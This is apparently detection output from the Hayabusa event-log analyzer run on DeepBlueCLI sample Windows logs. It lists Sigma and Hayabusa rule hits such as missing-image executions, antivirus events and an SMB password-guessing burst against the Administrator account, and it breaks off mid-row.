+09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-27 09:43:11.500 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-28 00:20:56.556 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-28 00:20:56.556 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-28 00:31:15.759 +09:00,IE10Win7,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-28 00:32:08.574 +09:00,IE10Win7,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-28 00:32:35.199 +09:00,IE10Win7,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-28 00:34:22.339 +09:00,IE10Win7,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-28 06:44:54.195 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-28 06:44:54.195 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-28 13:15:03.500 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-28 13:15:03.500 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-29 23:37:30.711 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-29 23:37:30.711 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-29 23:37:47.253 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-29 23:37:47.253 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-30 00:26:09.514 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-30 00:26:09.514 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-30 00:26:12.129 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-30 00:26:12.129 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-30 03:52:06.519 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-30 03:52:06.519 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-30 03:52:09.234 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-30 03:52:09.234 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-30 18:48:20.558 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-30 18:48:20.558 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-30 23:01:04.500 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-30 23:01:04.500 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-31 06:03:24.500 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-31 06:03:24.500 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-31 09:11:14.985 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-31 09:11:14.985 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-02 00:54:06.355 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-02 00:54:06.355 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-02 23:08:32.910 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-02 23:08:32.910 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-03 23:42:26.373 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-03 23:42:26.373 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-04 06:19:15.500 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-04 06:19:15.500 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-04 06:35:14.000 +09:00,IE10Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-09-04 06:35:15.664 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-04 06:35:15.664 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-04 06:37:55.000 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-09-04 06:37:55.000 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-09-04 22:32:03.952 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-04 22:32:03.952 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-04 22:32:29.279 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-04 22:32:29.279 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-15 11:13:19.927 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-15 11:13:19.927 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-15 23:50:14.730 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-15 23:50:14.730 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-16 05:09:55.941 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-16 05:09:55.941 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-18 07:53:42.819 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-18 07:53:42.819 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-18 07:56:46.000 +09:00,IE10Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-09-18 07:56:47.728 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-18 07:56:47.728 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-18 08:03:40.000 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-09-18 08:03:40.000 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-09-19 23:56:52.427 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-19 23:56:52.427 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-19 23:57:15.380 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-19 23:57:15.380 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 00:13:04.000 +09:00,IE10Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-09-20 00:13:05.415 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 00:13:05.415 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 00:15:08.000 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-09-20 00:15:08.000 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-09-20 01:50:06.477 +09:00,DESKTOP-M5SN04R,4625,informational,Logon Failure - Username does not exist,User: JcDfcZTc : Type: 3 : Workstation: 6hgtmVlrrFuWtO65 : IP Address: 192.168.198.149 : SubStatus: 0xc0000064 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongUsername.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:06.513 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gC4ymsKbxVGScMgY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:06.513 +09:00,-,-,medium,Password Guessing Attack,[condition] count() by IpAddress >= 5 in timeframe [result] count:3558 IpAddress:192.168.198.149 timeframe:5m,rules/hayabusa/default/alerts/Security/4625_BruteForce_PasswordGuessingDetect.yml,- +2016-09-20 01:50:06.588 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: f2q1tdAUlxHGfGH6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:06.637 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3EPNzcwy7tOAADWx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:06.680 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AbwsMP10Rs4h1Wl1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:06.725 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EEcdqcpqsxQ4RgPx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:06.773 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ngdtRwzXXhAlRxGY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:06.816 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BbCFZw5qQgU7rQ9W : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:06.869 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SXr7lA3MkV6xK36f : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:06.909 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tVFs1kR0AuOutnuI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:06.977 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PkeEabFrDLsBVcXi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.008 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GH7dTevmTKZo46Tq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.052 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: l2E8JmrfaCj5AjSF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.091 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: N4FLUvawWPVqdLaD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.136 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KN0EeUzxSZy5l7J4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.169 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: l8FjH0QHqromIYWf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.217 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fhlF37S1wNupiX5O : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.262 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: j19XhmSXK526I8kf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.297 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IRcppJXDNNfKuvdc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.343 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: E0FoGAIAK2FV3zCJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.393 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uYWIk76XIksgN3sE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.444 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3FEop7o3SOolNvKs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.484 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cMGEM3ql9uov7zCP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.520 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EFPUA4pUPaLrkr1I : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.551 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: b7IeJU89jxitz407 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.590 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Wqj9nXRaDpwCJZO3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.631 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bl0d61v2Ux7cNv4r : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.663 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8LxTa5lyutrIB2cd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.684 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LPCy11e3YxcCloSH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.720 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Mj07WKc4aQqPC0Te : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.752 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: T2M3v4TsQul5R4sj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.796 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: I67uBcH52tgLzhVB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.835 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2hsth68FDJ4F10H6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.929 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aDoHrfWlaWZ5GbWV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.972 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uliC5Wd7uZR3fIBc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.000 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Unknown Reason,User: Administrator : Type: 3 : Workstation: Xhg4hg4XDFaXsJRe : IP Address: 192.168.198.149 : SubStatus: 0xc0000072 : AuthPackage: 